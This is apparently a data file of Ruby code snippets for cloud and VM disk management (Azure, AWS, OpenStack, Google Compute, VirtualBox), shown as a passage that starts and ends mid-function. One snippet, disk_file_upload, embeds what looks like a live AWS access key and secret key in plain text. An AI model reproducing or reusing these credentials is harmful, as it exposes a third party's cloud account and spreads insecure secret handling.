storage_account[:sku_tier] == SKU_TIER_PREMIUM ? STORAGE_ACCOUNT_TYPE_PREMIUM_LRS : STORAGE_ACCOUNT_TYPE_STANDARD_LRS\n @logger.debug(\"attach_disk - Migrating the unmanaged disk '#{disk_name}' to a managed disk\")\n @disk_manager2.create_disk_from_blob(disk_id, blob_uri, location, account_type, storage_account[:id], vm_zone)\n\n # Set below metadata but not delete it.\n # Users can manually delete all blobs in container 'bosh' whose names start with 'bosh-data' after migration is finished.\n @blob_manager.set_blob_metadata(storage_account_name, DISK_CONTAINER, \"#{disk_name}.vhd\", METADATA_FOR_MIGRATED_BLOB_DISK)\n rescue StandardError => e\n if account_type # There are no other functions between defining account_type and @disk_manager2.create_disk_from_blob\n begin\n @disk_manager2.delete_data_disk(disk_id)\n rescue StandardError => err\n @logger.error(\"attach_disk - Failed to delete the created managed disk #{disk_name}. Error: #{e.inspect}\\n#{e.backtrace.join(\"\\n\")}\")\n end\n end\n cloud_error(\"attach_disk - Failed to create the managed disk for #{disk_name}. Error: #{e.inspect}\\n#{e.backtrace.join(\"\\n\")}\")\n end\n end\n elsif disk[:zone].nil? && !vm_zone.nil?\n @logger.info(\"attach_disk - migrate the managed disk '#{disk_name}' from regional to zonal\")\n begin\n @disk_manager2.migrate_to_zone(disk_id, disk, vm_zone)\n rescue StandardError => e\n cloud_error(\"attach_disk - Failed to migrate disk #{disk_name} to zone #{vm_zone}. Error: #{e.inspect}\\n#{e.backtrace.join(\"\\n\")}\")\n end\n end\n else\n cloud_error('Cannot attach a managed disk to a VM with unmanaged disks') unless disk.nil?\n @logger.debug(\"attach_disk - although use_managed_disks is enabled, will still attach the unmanaged disk '#{disk_name}' to the VM '#{vm_name}' with unmanaged disks\")\n end\n end\n\n lun = @vm_manager.attach_disk(instance_id, disk_id)\n\n disk_hints = {\n 'lun' => lun,\n 'host_device_id' => AZURE_SCSI_HOST_DEVICE_ID\n }\n\n if _should_write_to_registry?\n _update_agent_settings(instance_id.to_s) do |settings|\n settings['disks'] ||= {}\n settings['disks']['persistent'] ||= {}\n settings['disks']['persistent'][disk_id.to_s] = disk_hints\n end\n end\n\n @logger.info(\"Attached the disk '#{disk_id}' to the instance '#{instance_id}', lun '#{lun}'\")\n\n _attach_disk_response(disk_hints)\n end\n end\n end", "def add_controller_to_vbox_vm(client_name,vbox_controller)\n message = \"Adding:\\t\\tController to VirtualBox VM\"\n command = \"VBoxManage storagectl \\\"#{client_name}\\\" --name \\\"#{$vbox_disk_type}\\\" --add \\\"#{$vbox_disk_type}\\\" --controller \\\"#{vbox_controller}\\\"\"\n execute_command(message,command)\n return\nend", "def create_disk(size, cloud_properties, instance_id = nil)\n raise ArgumentError, 'disk size needs to be an integer' unless size.is_a?(Integer)\n\n with_thread_name(\"create_disk(#{size}, #{instance_id})\") do\n props = @props_factory.disk_props(cloud_properties)\n\n volume_properties = VolumeProperties.new(\n size: size,\n type: props.type,\n iops: props.iops,\n throughput: props.throughput,\n az: @az_selector.select_availability_zone(instance_id),\n encrypted: props.encrypted,\n kms_key_arn: props.kms_key_arn\n )\n volume = @volume_manager.create_ebs_volume(**volume_properties.persistent_disk_config)\n\n volume.id\n end\n end", "def create_disk(size, cloud_properties, instance_id = nil)\n raise ArgumentError, 'disk size needs to be an integer' unless size.kind_of?(Integer)\n with_thread_name(\"create_disk(#{size}, #{instance_id})\") do\n volume_properties = VolumeProperties.new(\n size: size,\n type: cloud_properties['type'],\n iops: cloud_properties['iops'],\n az: @az_selector.select_availability_zone(instance_id),\n encrypted: cloud_properties['encrypted'],\n kms_key_arn: cloud_properties['kms_key_arn']\n )\n\n resp = @ec2_client.client.create_volume(volume_properties.persistent_disk_config)\n volume = AWS::EC2::Volume.new_from(:create_volume, resp, resp.volume_id, config: @ec2_client.config)\n\n logger.info(\"Creating volume '#{volume.id}'\")\n ResourceWait.for_volume(volume: volume, state: :available)\n\n volume.id\n end\n end", "def create_disk(size, cloud_properties, instance_id = nil)\n raise ArgumentError, 'disk size needs to be an integer' unless size.kind_of?(Integer)\n with_thread_name(\"create_disk(#{size}, #{instance_id})\") do\n volume_properties = VolumeProperties.new(\n size: size,\n type: cloud_properties['type'],\n iops: cloud_properties['iops'],\n az: @az_selector.select_availability_zone(instance_id),\n encrypted: cloud_properties['encrypted'],\n kms_key_arn: cloud_properties['kms_key_arn']\n )\n\n volume_resp = @ec2_client.create_volume(volume_properties.persistent_disk_config)\n volume = Aws::EC2::Volume.new(\n id: volume_resp.volume_id,\n client: @ec2_client,\n )\n\n logger.info(\"Creating volume '#{volume.id}'\")\n ResourceWait.for_volume(volume: volume, state: 'available')\n\n volume.id\n end\n end", "def attach_storage(server_uuid, storage_uuid:, type: \"disk\", address: nil)\n data = {\n \"storage_device\" => {\n \"type\" => type,\n \"storage\" => storage_uuid\n }\n }\n data[\"storage_device\"][\"address\"] = address unless address.nil?\n\n json = JSON.generate data\n\n response = post \"server/#{server_uuid}/storage/attach\", json\n\n response\n end", "def add_to(vm)\n add_bus_to vm\n disks.each do |port_device, disk|\n disk.add_to vm, self, port_device.first, port_device.last\n end\n self\n end", "def create_disk(size, storage_account_name, caching)\n @logger.info(\"create_disk(#{size}, #{storage_account_name}, #{caching})\")\n disk_name = generate_data_disk_name(storage_account_name, caching)\n @logger.info(\"Start to create an empty vhd blob: blob_name: #{disk_name}.vhd\")\n @blob_manager.create_empty_vhd_blob(storage_account_name, DISK_CONTAINER, \"#{disk_name}.vhd\", size)\n disk_name\n end", "def attach_disk request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_attach_disk_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def vm_disk_write\n return unless @options[:mode] == 'vm_disk_write'\n rrddata_helper(value: 'diskwrite', output_msg: 'Disk write')\n end", "def prepare_vm_disk_attachment(disk_spec, storage_spec)\n disk_spec = disk_spec.symbolize_keys\n attachment_builder = ManageIQ::Providers::Ovirt::InfraManager::DiskAttachmentBuilder.new(\n :size_in_mb => disk_spec[:disk_size_in_mb],\n :storage => storage_spec,\n :name => disk_spec[:disk_name],\n :thin_provisioned => disk_spec[:thin_provisioned],\n :bootable => disk_spec[:bootable],\n :interface => disk_spec[:interface]\n )\n attachment_builder.disk_attachment\n end", "def hyperv\n has_grow, grow_by = SubutaiDisk.has_grow\n file_disk = SubutaiDisk.file_path(grow_by, \"hyper_v\")\n disk_path = Pathname.new file_disk\n\n unless disk_path.exist?\n Put.warn SubutaiDisk.message(grow_by)\n\n if has_grow\n if SubutaiDisk.hyperv_create_disk(grow_by, disk_path.to_s)\n SubutaiDisk.save_path(SubutaiDisk.port, disk_path.to_s)\n SubutaiDisk.save_conf(grow_by)\n end\n end\n else\n Put.error \"Disk file already exist in #{file_disk}\"\n end\n end", "def add_to(vm, io_bus, port, device)\n media_arg = case media\n when :disk\n 'hdd'\n when :dvd\n 'dvddrive'\n end\n VirtualBox.run_command! ['VBoxManage', '--nologo', 'storageattach',\n vm.uid, '--storagectl', io_bus.name, '--port', port.to_s,\n '--device', device.to_s, '--type', media_arg, '--medium', file]\n self\n end", "def attach_volume(server, volume)\n @logger.info(\"Attaching volume `#{volume.id}' to server `#{server.id}'...\")\n volume_attachments = @openstack.with_openstack { server.volume_attachments }\n device = volume_attachments.find { |a| a['volumeId'] == volume.id }\n\n if device.nil?\n device_name = select_device_name(volume_attachments, first_device_name_letter(server))\n cloud_error('Server has too many disks attached') if device_name.nil?\n\n @logger.info(\"Attaching volume `#{volume.id}' to server `#{server.id}', device name is `#{device_name}'\")\n @openstack.with_openstack { server.attach_volume(volume.id, device_name) }\n @openstack.wait_resource(volume, :'in-use')\n else\n device_name = device['device']\n @logger.info(\"Volume `#{volume.id}' is already attached to server `#{server.id}' in `#{device_name}'. Skipping.\")\n end\n\n device_name\n end", "def insert request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/disks\"\n body = request_pb.disk_resource.to_json\n\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end", "def addVolume(dev, size, type: \"gp2\", delete_on_termination: false)\n\n if setDeleteOntermination(dev, delete_on_termination)\n MU.log \"A volume #{dev} already attached to #{self}, skipping\", MU::NOTICE\n return\n end\n\n MU.log \"Creating #{size}GB #{type} volume on #{dev} for #{@cloud_id}\"\n creation = MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).create_volume(\n availability_zone: cloud_desc.placement.availability_zone,\n size: size,\n volume_type: type\n )\n\n MU.retrier(wait: 3, loop_if: Proc.new {\n creation = MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).describe_volumes(volume_ids: [creation.volume_id]).volumes.first\n if ![\"creating\", \"available\"].include?(creation.state)\n raise MuError, \"Saw state '#{creation.state}' while creating #{size}GB #{type} volume on #{dev} for #{@cloud_id}\"\n end\n creation.state != \"available\"\n })\n\n\n if @deploy\n MU::Cloud::AWS.createStandardTags(\n creation.volume_id,\n region: @region,\n credentials: @credentials,\n optional: @config['optional_tags'],\n nametag: @mu_name+\"-\"+dev.upcase,\n othertags: @config['tags']\n )\n end\n\n MU.log \"Attaching #{creation.volume_id} as #{dev} to #{@cloud_id} in #{@region} (credentials #{@credentials})\"\n attachment = nil\n MU.retrier([Aws::EC2::Errors::IncorrectState], wait: 15, max: 4) {\n attachment = MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).attach_volume(\n device: dev,\n instance_id: @cloud_id,\n volume_id: creation.volume_id\n )\n }\n\n begin\n att_resp = MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).describe_volumes(volume_ids: [attachment.volume_id])\n if att_resp and att_resp.volumes and !att_resp.volumes.empty? and\n att_resp.volumes.first.attachments and\n !att_resp.volumes.first.attachments.empty?\n attachment = att_resp.volumes.first.attachments.first\n if !attachment.nil? and ![\"attaching\", \"attached\"].include?(attachment.state)\n raise MuError, \"Saw state '#{creation.state}' while creating #{size}GB #{type} volume on #{dev} for #{@cloud_id}\"\n end\n end\n end while attachment.nil? or attachment.state != \"attached\"\n\n # Set delete_on_termination, which for some reason is an instance\n # attribute and not on the attachment\n setDeleteOntermination(dev, delete_on_termination)\n end", "def create_fusion_vm_disk(options,fusion_vm_dir,fusion_disk_file)\n if File.exist?(fusion_disk_file)\n handle_output(options,\"Warning:\\t#{options['vmapp']} VM disk '#{fusion_disk_file}' already exists for #{options['name']}\")\n quit(options)\n end\n check_dir_exists(options,fusion_vm_dir)\n if options['host-os-name'].to_s.match(/Darwin/)\n vdisk_bin = \"/Applications/VMware Fusion.app/Contents/Library/vmware-vdiskmanager\"\n else\n vdisk_bin = \"/usr/bin/vmware-vdiskmanager\"\n end\n message = \"Creating \\t#{options['vmapp']} disk '\"+fusion_disk_file+\"' for \"+options['name']\n command = \"cd \\\"#{fusion_vm_dir}\\\" ; \\\"#{vdisk_bin}\\\" -c -s \\\"#{options['size']}\\\" -a LsiLogic -t 0 \\\"#{fusion_disk_file}\\\"\"\n execute_command(options,message,command)\n return\nend", "def disk(cfg)\n mountpoint = \"mountpoint=\\\"#{cfg['mount']}\\\"\"\n query = @client.percent_query_free(\n \"node_filesystem_size{#{mountpoint}}\",\n \"node_filesystem_avail{#{mountpoint}}\"\n )\n prepare_metrics('disk', @client.query(query))\n end", "def create\n @vdisk = Vdisk.new(params[:vdisk])\n\n respond_to do |format|\n if @vdisk.save\n format.html { redirect_to @vdisk, notice: 'Vdisk was successfully created.' }\n format.json { render json: @vdisk, status: :created, location: @vdisk }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vdisk.errors, status: :unprocessable_entity }\n end\n end\n end", "def vm_disk_management(options = {})\n Azure::VirtualMachineImageManagement::VirtualMachineDiskManagementService.new(default_client(options))\n end", "def snapshot_disk(disk_id, metadata={})\n # TODO: Get vhd from 'vhd' container in vm storage account and use blob client to snapshot it\n end", "def create_iscsi_disks(vbox, name)\n unless controller_exists(name, 'SATA Controller')\n vbox.customize ['storagectl', :id,\n '--name', 'SATA Controller',\n '--add', 'sata']\n end\n\n dir = \"#{ENV['HOME']}/VirtualBox\\ VMs/vdisks\"\n Dir.mkdir dir unless File.directory?(dir)\n\n osts = (1..20).map { |x| [\"OST#{x}\", '5120'] }\n\n [\n %w[mgt 512],\n %w[mdt0 5120]\n ].concat(osts).each_with_index do |(name, size), i|\n file_to_disk = \"#{dir}/#{name}.vdi\"\n port = (i + 1).to_s\n\n unless File.exist?(file_to_disk)\n vbox.customize ['createmedium',\n 'disk',\n '--filename',\n file_to_disk,\n '--size',\n size,\n '--format',\n 'VDI',\n '--variant',\n 'fixed']\n end\n\n vbox.customize ['storageattach', :id,\n '--storagectl', 'SATA Controller',\n '--port', port,\n '--type', 'hdd',\n '--medium', file_to_disk,\n '--device', '0']\n\n vbox.customize ['setextradata', :id,\n \"VBoxInternal/Devices/ahci/0/Config/Port#{port}/SerialNumber\",\n name.ljust(20, '0')]\n end\nend", "def set(key,value)\n @disk.set(key,value)\n end", "def create_iscsi_disks(vbox)\n unless controller_exists(ISCSI_NAME, 'SATA Controller')\n vbox.customize ['storagectl', :id,\n '--name', 'SATA Controller',\n '--add', 'sata']\n end\n\n (1..10).each do |i|\n id = i.to_s.rjust(2, '0')\n disk = \"./tmp/disk#{i}.vdi\"\n\n unless File.exist?(disk)\n vbox.customize ['createmedium', 'disk',\n '--filename', disk,\n '--size', '100',\n '--format', 'VDI',\n '--variant', 'fixed']\n end\n\n vbox.customize [\n 'storageattach', :id,\n '--storagectl', 'SATA Controller',\n '--port', i,\n '--type', 'hdd',\n '--medium', disk\n ]\n vbox.customize [\n 'setextradata', :id,\n \"VBoxInternal/Devices/ahci/0/Config/Port#{i}/SerialNumber\",\n \"081118FC1221NCJ6G8#{id}\"\n ]\n end\nend", "def setup_disk(path)\n dev = ::File.readlink(path)\n full_path = ::File.absolute_path(dev, ::File.dirname(path))\n\n fs_type = get_fs_type(full_path)\n if fs_type.nil?\n Mixlib::ShellOut.new(\"mkfs.ext4 #{full_path}\").run_command\n fs_type = 'ext4'\n end\n\n fs_type\nend", "def setup_disk(path)\n dev = ::File.readlink(path)\n full_path = ::File.absolute_path(dev, ::File.dirname(path))\n\n fs_type = get_fs_type(full_path)\n if fs_type.nil?\n Mixlib::ShellOut.new(\"mkfs.ext4 #{full_path}\").run_command\n fs_type = 'ext4'\n end\n\n fs_type\nend", "def resize_disk(disk_cid, new_size)\n @logger.info(\"resize_disk(#{disk_cid}, #{new_size})\")\n raise Bosh::Clouds::NotSupported unless @use_managed_disks\n\n @telemetry_manager.monitor('initialize') do\n _init_azure\n end\n\n extras = { 'disk_size' => new_size }\n with_thread_name(\"resize_disk(#{disk_cid}, #{new_size})\") do\n @telemetry_manager.monitor('resize_disk', id: disk_cid, extras: extras) do\n # Azure API wants disk sizes in GiBs\n new_size_in_gib = mib_to_gib(new_size)\n disk_id = DiskId.parse(disk_cid, _azure_config.resource_group_name)\n disk_name = disk_id.disk_name\n disk = @disk_manager2.get_data_disk(disk_id)\n old_size_in_gib = disk[:disk_size]\n if new_size_in_gib < old_size_in_gib\n # fall back to creating a new disk and copying data\n raise Bosh::Clouds::NotSupported\n elsif new_size_in_gib == old_size_in_gib\n @logger.info(\"Skip resize of disk '#{disk_name}' because the new size of #{new_size_in_gib} GiB matches the actual disk size\")\n else\n @logger.info(\"Start resize of disk '#{disk_name}' from #{old_size_in_gib} GiB to #{new_size_in_gib} GiB\")\n @disk_manager2.resize_disk(disk_id, new_size_in_gib)\n end\n end\n end\n end", "def attach_disk(disk, async = true, attached_disk_options = {})\n requires :identity, :zone\n\n if disk.is_a? Disk\n disk_obj = disk.get_attached_disk\n elsif disk.is_a? String\n disk_obj = service.disks.attached_disk_obj(disk, attached_disk_options)\n end\n\n data = service.attach_disk(identity, zone_name, disk_obj)\n operation = Fog::Compute::Google::Operations\n .new(:service => service)\n .get(data.name, data.zone)\n operation.wait_for { ready? } unless async\n reload\n end", "def add_memory_to_vbox_vm(client_name)\n message = \"Adding:\\t\\tMemory to VM \"+client_name\n command = \"VBoxManage modifyvm \\\"#{client_name}\\\" --memory \\\"#{$default_vm_mem}\\\"\"\n execute_command(message,command)\n return\nend", "def add_size( size )\n\n @size << size\n\n end", "def add_size( size )\n\n @size << size\n\n end", "def add_size (size)\n @size << size\n end", "def disk\n @disk ||= begin\n dInfo = OpenStruct.new\n dInfo.lvObj = self\n dInfo.hardwareId = \"\"\n MiqDisk.new(Lvm2DiskIO, dInfo, 0)\n end\n end", "def add_server server\n @station.add_server server\n end", "def attach_disk(instance, zone, disk_name, device_name=nil, disk_mode='READ_WRITE', disk_type='PERSISTENT')\n data = false\n conn = @ec2_main.environment.connection\n if conn != nil\n response = conn.attach_disk(instance, zone, disk_name, device_name, disk_mode, disk_type)\n if response.status == 200\n data = response.body\n else\n data = {}\n end\n else\n raise \"Connection Error\"\n end\n return data\n end", "def resize_disk(disk_id, new_size)\n new_size_gib = mib_to_gib(new_size)\n\n with_thread_name(\"resize_disk(#{disk_id}, #{new_size_gib})\") do\n @logger.info(\"Resizing volume `#{disk_id}'...\")\n @openstack.with_openstack do\n volume = @openstack.volume.volumes.get(disk_id)\n cloud_error(\"Cannot resize volume because volume with #{disk_id} not found\") unless volume\n actual_size_gib = volume.size\n if actual_size_gib == new_size_gib\n @logger.info(\"Skipping resize of disk #{disk_id} because current value #{actual_size_gib} GiB is equal new value #{new_size_gib} GiB\")\n elsif actual_size_gib > new_size_gib\n not_supported_error(\"Cannot resize volume to a smaller size from #{actual_size_gib} GiB to #{new_size_gib} GiB\") if actual_size_gib > new_size_gib\n else\n attachments = volume.attachments\n cloud_error(\"Cannot resize volume '#{disk_id}' it still has #{attachments.size} attachment(s)\") unless attachments.empty?\n volume.extend(new_size_gib)\n @logger.info(\"Resizing #{disk_id} from #{actual_size_gib} GiB to #{new_size_gib} GiB\")\n @openstack.wait_resource(volume, :available)\n @logger.info(\"Disk #{disk_id} resized from #{actual_size_gib} GiB to #{new_size_gib} GiB\")\n end\n end\n end\n\n nil\n end", "def disk_type=(value)\n @disk_type = value\n end", "def add_server( server )\n\t\t@servers[server.name] = server\n\t\t@server_names << server.name\n\t\t@server_names.sort! { |a,b| a.downcase <=> b.downcase }\n\t\tserver.number = @server_names.index( server.name )\n\t\tbefore = 0\n\t\t@server_names[0, server.number].each { |server_name| # iterate through all of the servers before\n\t\t\tbefore += @servers[server_name].channel_names.length + 1\n\t\t}\n\t\tshift_server_pos( server.number, 1 )\n\t\tshift_server_num( server.number, 1 )\n\t\tserver.set_position( before + 2 ) # + 2 to compensate for 0-index arrays and core being buffer 1\n\t\t@length += 1\n\tend", "def snapshot_disk(disk_id, metadata)\n metadata = Hash[metadata.map { |key, value| [key.to_s, value] }]\n\n with_thread_name(\"snapshot_disk(#{disk_id})\") do\n volume = @ec2_client.volumes[disk_id]\n devices = []\n volume.attachments.each { |attachment| devices << attachment.device }\n\n name = ['deployment', 'job', 'index'].collect { |key| metadata[key] }\n name << devices.first.split('/').last unless devices.empty?\n\n snapshot = volume.create_snapshot(name.join('/'))\n logger.info(\"snapshot '#{snapshot.id}' of volume '#{disk_id}' created\")\n\n ['agent_id', 'instance_id', 'director_name', 'director_uuid'].each do |key|\n TagManager.tag(snapshot, key, metadata[key])\n end\n TagManager.tag(snapshot, 'device', devices.first) unless devices.empty?\n TagManager.tag(snapshot, 'Name', name.join('/'))\n\n ResourceWait.for_snapshot(snapshot: snapshot, state: :completed)\n snapshot.id\n end\n end", "def use_disk( amount )\n if amount > 0\n if @status[ 'Disk' ][ 'Active' ]\n free_memory\n end\n\n if allocate_disk( amount )\n @status[ 'Disk' ][ 'Amount' ] = amount\n @status[ 'Disk' ][ 'Active' ] = true\n end\n end\n end", "def detach_disk(server_id, disk_id)\n with_thread_name(\"detach_disk(#{server_id}, #{disk_id})\") do\n server = @openstack.with_openstack { @openstack.compute.servers.get(server_id) }\n cloud_error(\"Server `#{server_id}' not found\") unless server\n\n volume = @openstack.with_openstack { @openstack.volume.volumes.get(disk_id) }\n if volume.nil?\n @logger.info(\"Disk `#{disk_id}' not found while trying to detach it from vm `#{server_id}'...\")\n else\n detach_volume(server, volume)\n end\n\n update_agent_settings(server) do |settings|\n settings['disks'] ||= {}\n settings['disks']['persistent'] ||= {}\n settings['disks']['persistent'].delete(disk_id)\n end\n end\n end", "def addVolume(dev, size, type: \"gp2\")\n if @cloud_id.nil? or @cloud_id.empty?\n MU.log \"#{self} didn't have a cloud id, couldn't determine 'active?' status\", MU::ERR\n return true\n end\n az = nil\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).describe_instances(\n instance_ids: [@cloud_id]\n ).reservations.each { |resp|\n if !resp.nil? and !resp.instances.nil?\n resp.instances.each { |instance|\n az = instance.placement.availability_zone\n instance.block_device_mappings.each { |vol|\n if vol.device_name == dev\n MU.log \"A volume #{dev} already attached to #{self}, skipping\", MU::NOTICE\n return\n end\n }\n }\n end\n }\n MU.log \"Creating #{size}GB #{type} volume on #{dev} for #{@cloud_id}\"\n creation = MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).create_volume(\n availability_zone: az,\n size: size,\n volume_type: type\n )\n begin\n sleep 3\n creation = MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).describe_volumes(volume_ids: [creation.volume_id]).volumes.first\n if ![\"creating\", \"available\"].include?(creation.state)\n raise MuError, \"Saw state '#{creation.state}' while creating #{size}GB #{type} volume on #{dev} for #{@cloud_id}\"\n end\n end while creation.state != \"available\"\n\n if @deploy\n MU::MommaCat.listStandardTags.each_pair { |key, value|\n MU::MommaCat.createTag(creation.volume_id, key, value, region: @config['region'], credentials: @config['credentials'])\n }\n MU::MommaCat.createTag(creation.volume_id, \"Name\", \"#{MU.deploy_id}-#{@config[\"name\"].upcase}-#{dev.upcase}\", region: @config['region'], credentials: @config['credentials'])\n end\n\n attachment = MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).attach_volume(\n device: dev,\n instance_id: @cloud_id,\n volume_id: creation.volume_id\n )\n\n begin\n sleep 3\n attachment = MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).describe_volumes(volume_ids: [attachment.volume_id]).volumes.first.attachments.first\n if ![\"attaching\", \"attached\"].include?(attachment.state)\n raise MuError, \"Saw state '#{creation.state}' while creating #{size}GB #{type} volume on #{dev} for #{@cloud_id}\"\n end\n end while attachment.state != \"attached\"\n end", "def create_vdi(name, sr_ref, size)\n vdi_record = {\n \"name_label\" => \"#{name}\",\n \"name_description\" => \"Root disk for #{name} created by knfie xapi\",\n \"SR\" => sr_ref,\n \"virtual_size\" => input_to_bytes(size).to_s,\n \"type\" => \"system\",\n \"sharable\" => false,\n \"read_only\" => false,\n \"other_config\" => {},\n }\n \n # Async create the VDI\n task = xapi.Async.VDI.create(vdi_record)\n ui.msg \"waiting for VDI Create\"\n vdi_ref = get_task_ref(task)\n end", "def create_vdi(name, sr_ref, size)\n vdi_record = {\n 'name_label' => \"#{name}\",\n 'name_description' => \"Root disk for #{name} created by #{ENV['USER']} with knfie xapi\",\n 'SR' => sr_ref,\n 'virtual_size' => input_to_bytes(size).to_s,\n 'type' => 'system',\n 'sharable' => false,\n 'read_only' => false,\n 'other_config' => {}\n }\n\n # Async create the VDI\n task = xapi.Async.VDI.create(vdi_record)\n ui.msg 'waiting for VDI Create'\n vdi_ref = get_task_ref(task)\n vdi_ref\n end", "def snapshot_disk(disk_id, metadata)\n metadata = Hash[metadata.map { |key, value| [key.to_s, value] }]\n\n with_thread_name(\"snapshot_disk(#{disk_id})\") do\n volume = @ec2_resource.volume(disk_id)\n devices = []\n volume.attachments.each { |attachment| devices << attachment.device }\n\n name = ['deployment', 'job', 'index'].collect { |key| metadata[key] }\n\n unless devices.empty?\n name << devices.first.split('/').last\n metadata['device'] = devices.first\n end\n\n snapshot = volume.create_snapshot(description: name.join('/'))\n logger.info(\"snapshot '#{snapshot.id}' of volume '#{disk_id}' created\")\n\n metadata.merge!(\n 'director' => metadata['director_name'],\n 'instance_index' => metadata['index'].to_s,\n 'instance_name' => metadata['job'] + '/' + metadata['instance_id'],\n 'Name' => name.join('/')\n )\n\n %w[director_name index job].each do |tag|\n metadata.delete(tag)\n end\n\n TagManager.create_tags(snapshot, **metadata)\n ResourceWait.for_snapshot(snapshot: snapshot, state: 'completed')\n snapshot.id\n end\n end", "def disk_file_upload\n @bucket_size = 0\n \t@bucket_files = BucketFile.new\n \t@current_disk_id = params[:disk_id]\n \t@bucket_name = params[:name]\n puts \"=================\"\n puts @bucket_name\n puts \"+++++++++++++++\"\n \tconnection = Fog::Storage.new({ :provider => 'AWS', :aws_access_key_id => \"AKIAIAL3W5DIRE2IUQLQ\", :aws_secret_access_key => \"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\"})\n directory = connection.directories.get(\"#{params[:name]}\")\n @files = directory.files\n end", "def merge_vm_disks(host, global, vb, controller)\n # Only get the first entry from global['vm_groups'] if more than one entry present\n vb_dir=global['vm_basedir'] ? global['vm_basedir'] + global['vm_groups'].partition(',')[0] + \"/\" + host['vm_name'] + \"/\" : \"./.virtualbox/\"\n if global['vm_disks'] or host['vm_disks']\n merge_hash = merge_2_array_of_hashes(global['vm_disks'], host['vm_disks'])\n merge_hash.each do |key, value|\n diskname=\"#{vb_dir}#{host['vm_name']}-#{key}.vdi\"\n unless File.exist?(diskname)\n vb.customize [\"createmedium\", \"disk\", \"--filename\", diskname, \"--size\", value * 1024 , \"--format\", \"vdi\", \"--variant\", \"Standard\"]\n end\n vb.customize [\"storageattach\", :id , \"--storagectl\", controller, \"--port\", key, \"--device\", \"0\", \"--type\", \"hdd\", \"--medium\", diskname]\n end\n end\nend", "def disk_current_size\n\t\treturn 1024\n\tend", "def update!(**args)\n @disk_size_gb = args[:disk_size_gb] if args.key?(:disk_size_gb)\n @disk_type = args[:disk_type] if args.key?(:disk_type)\n end", "def new_disk_ide\n Libvirt::Spec::Device.get(:disk).new.tap do |disk|\n disk.type = :file\n disk.device = :disk\n disk.target_dev = :hda\n disk.target_bus = :ide\n end\n end", "def merge_vm_shared_disks(host, global, vb, controller)\n vb_dir=global['vm_basedir'] ? global['vm_basedir'] + global['vm_groups'].partition(',')[0] + \"/\" : \"./.virtualbox/\"\n if global['vm_shared_disks'] or host['vm_shared_disks']\n merge_hash = merge_2_array_of_hashes(global['vm_shared_disks'], host['vm_shared_disks'])\n merge_hash.each do |key, value|\n diskname=\"#{vb_dir}shared-#{key}.vdi\"\n unless File.exist?(diskname)\n vb.customize [\"createmedium\", \"disk\", \"--filename\", diskname, \"--size\", value * 1024 , \"--format\", \"vdi\", \"--variant\", \"Fixed\"]\n end\n vb.customize [\"storageattach\", :id , \"--storagectl\", controller, \"--port\", key, \"--device\", \"0\", \"--type\", \"hdd\", \"--medium\", diskname, \"--mtype\", \"shareable\"]\n end\n end\nend", "def add_space(address, size)\n if size <= 0\n PEROBS.log.fatal \"Size (#{size}) must be larger than 0.\"\n end\n # The following check is fairly costly and should never trigger unless\n # there is a bug in the PEROBS code. Only use this for debugging.\n #if has_space?(address, size)\n # PEROBS.log.fatal \"The space with address #{address} and size \" +\n # \"#{size} can't be added twice.\"\n #end\n root.add_space(address, size)\n end", "def handle_attach_request(obj, original_message)\n if obj.include? :disk\n params = obj[:disk]\n disk_number = params[:disk_number]\n vds_uid = params[:vds_uid]\n\n vds = VpsConfiguration.find_by_uid(vds_uid)\n if vds.nil?\n msg = Cirrocumulus::Message.new(nil, 'refuse', [original_message.content, [:vds_not_found]])\n msg.ontology = self.name\n self.agent.reply_to_message(msg, original_message)\n return\n end\n\n disk = VdsDisk.find_by_number(disk_number)\n if disk.nil?\n msg = Cirrocumulus::Message.new(nil, 'refuse', [original_message.content, [:disk_not_found]])\n msg.ontology = self.name\n self.agent.reply_to_message(msg, original_message)\n return\n end\n\n if vds.disks.find {|d| d.number == disk.number}\n msg = Cirrocumulus::Message.new(nil, 'refuse', [original_message.content, [:already_attached]])\n msg.ontology = self.name\n self.agent.reply_to_message(msg, original_message)\n return\n end\n\n vds.attach_disk(disk)\n create_saga(AttachVirtualDiskSaga).start(disk_number, vds_uid, disk.block_device, original_message)\n end\n end", "def add_physical_disks\n add_collection(physical_infra, :physical_disks) do |builder|\n builder.add_properties(\n :manager_ref => %i(physical_storage ems_ref),\n :manager_ref_allowed_nil => %i(ems_ref)\n )\n end\n end", "def disk_spec(file_name, size, unit)\n disk = RbVmomi::VIM.VirtualDisk(\n :backing => disk_backing(file_name),\n :controllerKey => 0,\n :key => 0,\n :unitNumber => unit,\n :capacityInKB => size\n )\n\n config = {\n :device => disk,\n :fileOperation => RbVmomi::VIM.VirtualDeviceConfigSpecFileOperation('create'),\n :operation => RbVmomi::VIM.VirtualDeviceConfigSpecOperation('add')\n }\n\n if vsan_data_store?(file_name) && resource[:vm_storage_policy]\n config[:profile] = [VIM::VirtualMachineDefinedProfileSpec(\n :profileId => profile(resource[:vm_storage_policy]).profileId.uniqueId\n )]\n end\n\n RbVmomi::VIM.VirtualDeviceConfigSpec(config)\n end", "def create_ebs_stripe(nickname, new_volume_size_in_gb, options = {})\n self.execute_terminate_volumes if options[:force]\n devices = 